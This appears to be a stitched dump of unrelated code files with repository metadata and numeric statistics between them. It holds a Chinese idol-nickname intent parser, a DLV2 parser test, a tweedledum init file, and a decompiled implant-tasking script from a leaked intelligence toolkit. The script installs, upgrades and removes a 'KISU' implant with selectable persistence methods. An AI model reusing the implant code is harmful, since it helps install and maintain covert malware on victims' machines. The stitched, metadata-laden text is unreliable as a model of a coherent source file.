"竜也", "上田龍也", "龍也", "老大", "吳愛達", "阿龍", "龍龍"], "中丸雄一": ["中丸雄一", "中丸", "雄一", "丸子"], "中島裕翔": ["中島裕翔", "中島", "裕翔", "yuto", "瘋兔子", "島哥", "副隊長", "yutti", "ゆってぃ"], "亀梨和也": ["亀梨和也", "亀梨", "和也", "龜梨", "龜梨和也", "龜龜", "亀亀", "卡咩", "Kame", "kame"], "二宮和也": ["二宮和也", "二宮", "和也", "NINO", "尼尼", "和總", "尼諾米", "NINOMI", "NINOちゃん"], "伊野尾慧": ["伊野尾慧", "伊野尾", "慧", "慧慧", "伊野尾ちゃん", "蘑菇", "阿慧", "慧哥", "慧老師"], "八乙女光": ["八乙女光", "八乙女", "光", "hika", "HIKA", "ひかる", "ひか", "やおちゃん", "阿光", "光光", "小光", "仙女", "小仙女"], "国分太一": ["國分", "太一", "國分太一", "国分太一", "国分"], "山田涼介": ["山田涼介", "山田", "涼介", "小涼", "小甜", "阿涼", "團霸", "yama"], "有岡大貴": ["有岡大貴", "有岡", "大貴", "阿貴", "貴貴", "大醬", "大ちゃん"], "松岡昌宏": ["松岡昌宏", "松岡", "昌宏", "松兄"], "相葉雅紀": ["相葉雅紀", "相葉", "雅紀", "愛拔", "大兔子", "相葉ちゃん"], "知念侑李": ["知念侑李", "知念", "侑李", "念念", "阿念", "小惡魔", "小野智", "Chi", "ちぃ", "ちっちゃん", "ねんち", "ちぃー", "知念くん", "知念ちゃん"], "髙木雄也": ["高木雄也", "髙木雄也", "雄也", "高木", "髙木", "yuya", "大雄", "大熊", "海", "ゆうちゃん", "髙木くん", "高木くん"], "Hey! Say! JUMP": ["Hey! Say! JUMP", "平成跳", "hsj", "HSJ", "JUMP", "跳跳", "醬噗"]} nicknameLIST=userDefinedDICT['城島茂']+userDefinedDICT['国分太一']+userDefinedDICT['松岡昌宏']+userDefinedDICT['大野智']+userDefinedDICT['松本潤']+userDefinedDICT['櫻井翔']+userDefinedDICT['二宮和也']+userDefinedDICT['相葉雅紀']+userDefinedDICT['上田竜也']+userDefinedDICT['中丸雄一']+userDefinedDICT['亀梨和也']+userDefinedDICT['薮宏太']+userDefinedDICT['八乙女光']+userDefinedDICT['伊野尾慧']+userDefinedDICT['山田涼介']+userDefinedDICT['有岡大貴']+userDefinedDICT['中島裕翔']+userDefinedDICT['知念侑李']+userDefinedDICT['髙木雄也'] groupLIST=userDefinedDICT['KAT-TUN']+userDefinedDICT['TOKIO']+userDefinedDICT['嵐']+userDefinedDICT['Hey! Say! JUMP'] tokio=['国分太一','城島茂','松岡昌宏'] arashi=['相葉雅紀','松本潤','二宮和也','大野智','櫻井翔'] kattun=['亀梨和也','上田竜也','中丸雄一'] jump=['山田涼介','知念侑李','中島裕翔','有岡大貴','髙木雄也','伊野尾慧','八乙女光','薮宏太'] eng=['英文','英語','英語姓名','英文姓氏','英語姓氏','英文姓名'] jan=['日文','日語','日語姓名','日文姓氏','日語姓氏','日文姓名'] Fname=['名字','名'] Lname=['姓氏','姓'] # 將符合句型的參數列表印出。這是 debug 或是開發用的。 def debugInfo(inputSTR, utterance): if DEBUG_Profile_name: print("[Profile_name] {} ===> {}".format(inputSTR, utterance)) def getResult(inputSTR, utterance, args, resultDICT): debugInfo(inputSTR, utterance) if utterance == "[大貴][姓]什麼": if args[0] in nicknameLIST: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if args[1] in Lname: if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JLname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JLname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JLname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JLname' if args[1] in Fname: if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JFname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JFname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JFname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JFname' if utterance == "[尼尼]的[英文][名字]": if args[0] in nicknameLIST: if args[1] in eng: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='EName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='EName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='EName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='EName' if args[1] in jan: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JName' if utterance == "[涼介]的[英文]名字是什麼": if args[0] in nicknameLIST: if args[1] in eng: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='EName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='EName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='EName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='EName' if args[1] in jan: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JName' if utterance == "[潤潤]本名是什麼": if args[0] in nicknameLIST: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JName' if utterance == "[翔翔]的[日語姓名]": if args[0] in nicknameLIST: if args[1] in jan: if args[0] in nicknameLIST: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JName' if args[1] in eng: if args[0] in nicknameLIST: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='EName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='EName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='EName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='EName' if utterance == "[阿慧][全名]是什麼": if args[0] in nicknameLIST: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JName' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JName' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JName' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JName' if utterance == "[雄也]的[英文姓氏]是什麼": if args[0] in nicknameLIST: if args[1] in eng: if args[1][-2:] in Lname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='ELname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='ELname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='ELname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='ELname' if args[1][-2:] in Fname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='EFname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='EFname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='EFname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='EFname' if args[1] in jan: if args[1][-2:] in Lname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JLname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JLname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JLname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JLname' if args[1][-2:] in Fname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JFname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JFname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JFname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JFname' if utterance == "[雅紀]的[英文][名字]是什麼": if args[0] in nicknameLIST: if args[1] in eng: if args[2] in Lname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='ELname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='ELname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='ELname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='ELname' if args[2] in Fname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='EFname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='EFname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='EFname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='EFname' if args[1] in jan: if args[2] in Lname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JLname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JLname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JLname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JLname' if args[2] in Fname: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: key=k if key in tokio: for n in range(len(tokio)): if key in ProfileDICT['TOKIO'][n]['JName']: resultDICT['Group']='TOKIO' resultDICT['member']=key resultDICT['request']='JFname' if key in arashi: for n in range(len(arashi)): if key in ProfileDICT['嵐'][n]['JName']: resultDICT['Group']='嵐' resultDICT['member']=key resultDICT['request']='JFname' if key in kattun: for n in range(len(kattun)): if key in ProfileDICT['KAT-TUN'][n]['JName']: resultDICT['Group']='KAT-TUN' resultDICT['member']=key resultDICT['request']='JFname' if key in jump: for n in range(len(jump)): if key in ProfileDICT['Hey! Say! JUMP'][n]['JName']: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=key resultDICT['request']='JFname' if utterance == "有人叫[知念]嗎": if args[0] in nicknameLIST: for k in userDefinedDICT.keys(): if args[0] in userDefinedDICT[k]: name=k if name in tokio: resultDICT['Group']='TOKIO' resultDICT['member']=name resultDICT['request']='yes.group' elif name in arashi: resultDICT['Group']='嵐' resultDICT['member']=name resultDICT['request']='yes.group' elif name in kattun: resultDICT['Group']='KAT-TUN' resultDICT['member']=name resultDICT['request']='yes.group' elif name in jump: resultDICT['Group']='Hey! Say! JUMP' resultDICT['member']=name resultDICT['request']='yes.group' else: resultDICT['request']='no.group' return resultDICT

55.511146

1,854

0.384298

3,168

34,861

4.22601

0.099747

0.05378

0.075291

0.059157

0.910816

0.908127

0.906334

0.900134

0.897894

0

0.002973

0.469264

34,861

628

1,855

55.511147

0.720625

0.006741

0

0.931217

0

0.14889

0.000883

0

1

0.003527

false

0

0.001764

0

0.007055

0.001764

0

null

0

1

0

1

0

1

0

null

0

8

1d8d86f07a86ac438ae4707eff443eb6324eb819

307

py

Python

tests/parser/legal_inst.1b.bk.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

tests/parser/legal_inst.1b.bk.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

tests/parser/legal_inst.1b.bk.test.py

veltri/DLV2

944aaef803aa75e7ec51d7e0c2b0d964687fdd0e

[ "Apache-2.0" ]

null

input = """ % if more than one body matches the % requires part, this shouldn't change anything: town(a). town(b). edge(a,b,2). edge(a,b,4). """ output = """ % if more than one body matches the % requires part, this shouldn't change anything: town(a). town(b). edge(a,b,2). edge(a,b,4). """

16.157895

49

0.615635

54

307

3.5

0.407407

0.10582

0.126984

0.137566

0.941799

0

0.016327

0.201954

307

18

50

17.055556

0.755102

0

0.875

0

0.894198

0

1

0

false

0

null

0

1

0

1

0

1

0

null

0

8

d56e499f4e5d1f7dc18d5132a30c7a93864ae8bd

319

py

Python

python/tweedledum/__init__.py

mtreinish/tweedledum

f9c3b9edcb0958c49a341a4d59eceef09faa3fea

[ "MIT" ]

null

python/tweedledum/__init__.py

mtreinish/tweedledum

f9c3b9edcb0958c49a341a4d59eceef09faa3fea

[ "MIT" ]

null

python/tweedledum/__init__.py

mtreinish/tweedledum

f9c3b9edcb0958c49a341a4d59eceef09faa3fea

[ "MIT" ]

null

#------------------------------------------------------------------------------- # Part of tweedledum. This file is distributed under the MIT License. # See accompanying file /LICENSE for details. #------------------------------------------------------------------------------- from .core import * from . import parser

53.166667

80

0.37931

23

319

5.26087

0.826087

0

0.090909

319

6

81

53.166667

0.417241

0.84953

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

7

63b6731fba9ce09b6e94692951f23d822d942d31

7,564

py

Python

Leak #5 - Lost In Translation/windows/Resources/DeMi/PyScripts/Tasking/Mcl_Cmd_DiBa_Tasking.py

bidhata/EquationGroupLeaks

1ff4bc115cb2bd5bf2ed6bf769af44392926830c

[ "Unlicense" ]

9

2019-11-22T04:58:40.000Z

2022-02-26T16:47:28.000Z

Leak #5 - Lost In Translation/windows/Resources/DeMi/PyScripts/Tasking/Mcl_Cmd_DiBa_Tasking.py

shakenetwork/EquationGroupLeaks

1ff4bc115cb2bd5bf2ed6bf769af44392926830c

[ "Unlicense" ]

null

Leak #5 - Lost In Translation/windows/Resources/DeMi/PyScripts/Tasking/Mcl_Cmd_DiBa_Tasking.py

shakenetwork/EquationGroupLeaks

1ff4bc115cb2bd5bf2ed6bf769af44392926830c

[ "Unlicense" ]

8

2017-09-14T02:24:29.000Z

2021-11-04T01:32:44.000Z

# uncompyle6 version 2.9.10 # Python bytecode 2.7 (62211) # Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10) # [GCC 6.2.0 20161005] # Embedded file name: Mcl_Cmd_DiBa_Tasking.py _CMD_INDEX_INSTALL = 0 _CMD_INDEX_UNINSTALL = 1 _CMD_INDEX_SURVEY = 2 _CMD_INDEX_UPGRADE = 3 def TaskingMain(namespace): import sys import re for arg in sys.argv: matchObj = re.match('procedure=(.*)', arg) if matchObj != None: procedure = int(matchObj.group(1)) if procedure == _CMD_INDEX_INSTALL: return _handleInstall(namespace) else: if procedure == _CMD_INDEX_UNINSTALL: return _handleUninstall(namespace) if procedure == _CMD_INDEX_SURVEY: return _handleSurvey(namespace) if procedure == _CMD_INDEX_UPGRADE: return _handleUpgrade(namespace) import mcl.tasking mcl.tasking.EchoError('Unknown procedure (%u)' % procedure) return False return def _handleInstall(namespace): import mcl.imports import mcl.target import mcl.tasking from mcl.object.Message import MarshalMessage _CMD_PERSIST_TYPE_DEFAULT = 0 _CMD_PERSIST_TYPE_LAUNCHER = 1 _CMD_PERSIST_TYPE_SOTI = 2 _CMD_PERSIST_TYPE_JUVI = 3 mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba', globals()) mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba.tasking', globals()) lpParams = mcl.tasking.GetParameters() tgtParams = mcf.cmd.diba.ParamsInstall() if lpParams['persist'] == _CMD_PERSIST_TYPE_DEFAULT: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_DEFAULT elif lpParams['persist'] == _CMD_PERSIST_TYPE_LAUNCHER: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_LAUNCHER elif lpParams['persist'] == _CMD_PERSIST_TYPE_SOTI: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_SOTI elif lpParams['persist'] == _CMD_PERSIST_TYPE_JUVI: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_JUVI else: mcl.tasking.OutputError('Persistance method not recognized / implemented') return False if lpParams['type'] != None: mcl.imports.ImportWithNamespace(namespace, 'mcf.kisu.ids', globals()) if mcf.kisu.ids.nameTable.has_key(lpParams['type'].upper()): tgtParams.instance = mcf.kisu.ids.nameTable[lpParams['type'].upper()] else: mcl.tasking.EchoError('Unknown KISU type (%s)' % lpParams['type']) return False else: tgtParams.instance = lpParams['instance'] rpc = mcf.cmd.diba.tasking.RPC_INFO_INSTALL msg = MarshalMessage() tgtParams.Marshal(msg) rpc.SetData(msg.Serialize()) rpc.SetMessagingType('message') if not lpParams['quiet']: mcl.tasking.Echo('Installing 0x%08x' % tgtParams.instance) res = mcl.tasking.RpcPerformCall(rpc) if res != mcl.target.CALL_SUCCEEDED: mcl.tasking.RecordModuleError(res, 0, mcf.cmd.diba.errorStrings) return False else: return True def _handleSurvey(namespace): import mcl.imports import mcl.target import mcl.tasking from mcl.object.Message import MarshalMessage mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba', globals()) mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba.tasking', globals()) lpParams = mcl.tasking.GetParameters() rpc = mcf.cmd.diba.tasking.RPC_INFO_SURVEY rpc.SetMessagingType('message') res = mcl.tasking.RpcPerformCall(rpc) if res != mcl.target.CALL_SUCCEEDED: mcl.tasking.RecordModuleError(res, 0, mcf.cmd.diba.errorStrings) return False return True def _handleUninstall(namespace): import mcl.imports import mcl.target import mcl.tasking from mcl.object.Message import MarshalMessage mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba', globals()) mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba.tasking', globals()) lpParams = mcl.tasking.GetParameters() tgtParams = mcf.cmd.diba.ParamsUninstall() if lpParams['type'] != None: mcl.imports.ImportWithNamespace(namespace, 'mcf.kisu.ids', globals()) if mcf.kisu.ids.nameTable.has_key(lpParams['type'].upper()): tgtParams.instance = mcf.kisu.ids.nameTable[lpParams['type'].upper()] else: mcl.tasking.EchoError('Unknown KISU type (%s)' % lpParams['type']) return False else: tgtParams.instance = lpParams['instance'] rpc = mcf.cmd.diba.tasking.RPC_INFO_UNINSTALL msg = MarshalMessage() tgtParams.Marshal(msg) rpc.SetData(msg.Serialize()) rpc.SetMessagingType('message') res = mcl.tasking.RpcPerformCall(rpc) if res != mcl.target.CALL_SUCCEEDED: mcl.tasking.RecordModuleError(res, 0, mcf.cmd.diba.errorStrings) return False else: return True def _handleUpgrade(namespace): import mcl.imports import mcl.target import mcl.tasking from mcl.object.Message import MarshalMessage _CMD_PERSIST_TYPE_DEFAULT = 0 _CMD_PERSIST_TYPE_LAUNCHER = 1 _CMD_PERSIST_TYPE_SOTI = 2 _CMD_PERSIST_TYPE_JUVI = 3 _CMD_MODULECOPY_TYPE_MEMORY = 0 _CMD_MODULECOPY_TYPE_NONE = 1 mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba', globals()) mcl.imports.ImportWithNamespace(namespace, 'mcf.cmd.diba.tasking', globals()) lpParams = mcl.tasking.GetParameters() tgtParams = mcf.cmd.diba.ParamsUpgrade() if lpParams['persist'] == _CMD_PERSIST_TYPE_DEFAULT: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_DEFAULT elif lpParams['persist'] == _CMD_PERSIST_TYPE_LAUNCHER: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_LAUNCHER elif lpParams['persist'] == _CMD_PERSIST_TYPE_SOTI: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_SOTI elif lpParams['persist'] == _CMD_PERSIST_TYPE_JUVI: tgtParams.persistence = mcf.cmd.diba.PARAMS_PERSISTENCE_TYPE_JUVI else: mcl.tasking.OutputError('Persistance method not recognized') return False if lpParams['type'] != None: mcl.imports.ImportWithNamespace(namespace, 'mcf.kisu.ids', globals()) if mcf.kisu.ids.nameTable.has_key(lpParams['type'].upper()): tgtParams.instance = mcf.kisu.ids.nameTable[lpParams['type'].upper()] else: mcl.tasking.EchoError('Unknown KISU type (%s)' % lpParams['type']) return False else: tgtParams.instance = lpParams['instance'] if lpParams['modulecopy'] == _CMD_MODULECOPY_TYPE_MEMORY: tgtParams.moduleAction = mcf.cmd.diba.PARAMS_UPGRADE_MODULEACTION_COPY_MEMORY elif lpParams['modulecopy'] == _CMD_MODULECOPY_TYPE_NONE: tgtParams.moduleAction = mcf.cmd.diba.PARAMS_UPGRADE_MODULEACTION_COPY_NONE else: mcl.tasking.OutputError('Module action method not recognized') return False rpc = mcf.cmd.diba.tasking.RPC_INFO_UPGRADE msg = MarshalMessage() tgtParams.Marshal(msg) rpc.SetData(msg.Serialize()) rpc.SetMessagingType('message') if not lpParams['quiet']: mcl.tasking.Echo('Upgrading 0x%08x' % tgtParams.instance) res = mcl.tasking.RpcPerformCall(rpc) if res != mcl.target.CALL_SUCCEEDED: mcl.tasking.RecordModuleError(res, 0, mcf.cmd.diba.errorStrings) return False else: return True if __name__ == '__main__': import sys if TaskingMain(sys.argv[1]) != True: sys.exit(-1)

39.810526

85

0.696589

890

7,564

5.729213

0.14382

0.041185

0.056874

0.081977

0.823691

0.793097

0.782506

0.758972

0

0.010846

0.195531

7,564

190

86

39.810526

0.827116

0.024326

0

0.739884

0

0.082441

0

1

0.028902

false

0

0.179191

0

0.323699

0

null

0

1

0

1

0

null

0

7

893d566c12e8a143a6b20d9dfd8d95d36ae3a0b1

4,732

py

Python

gs_module/gs_module.py

IlyaDanilenko/gs_module

7e6b5b0cd479f6b9f7adb958ce76db6518ff415a

[ "MIT" ]

null

gs_module/gs_module.py

IlyaDanilenko/gs_module

7e6b5b0cd479f6b9f7adb958ce76db6518ff415a

[ "MIT" ]

null

gs_module/gs_module.py

IlyaDanilenko/gs_module

7e6b5b0cd479f6b9f7adb958ce76db6518ff415a

[ "MIT" ]

null

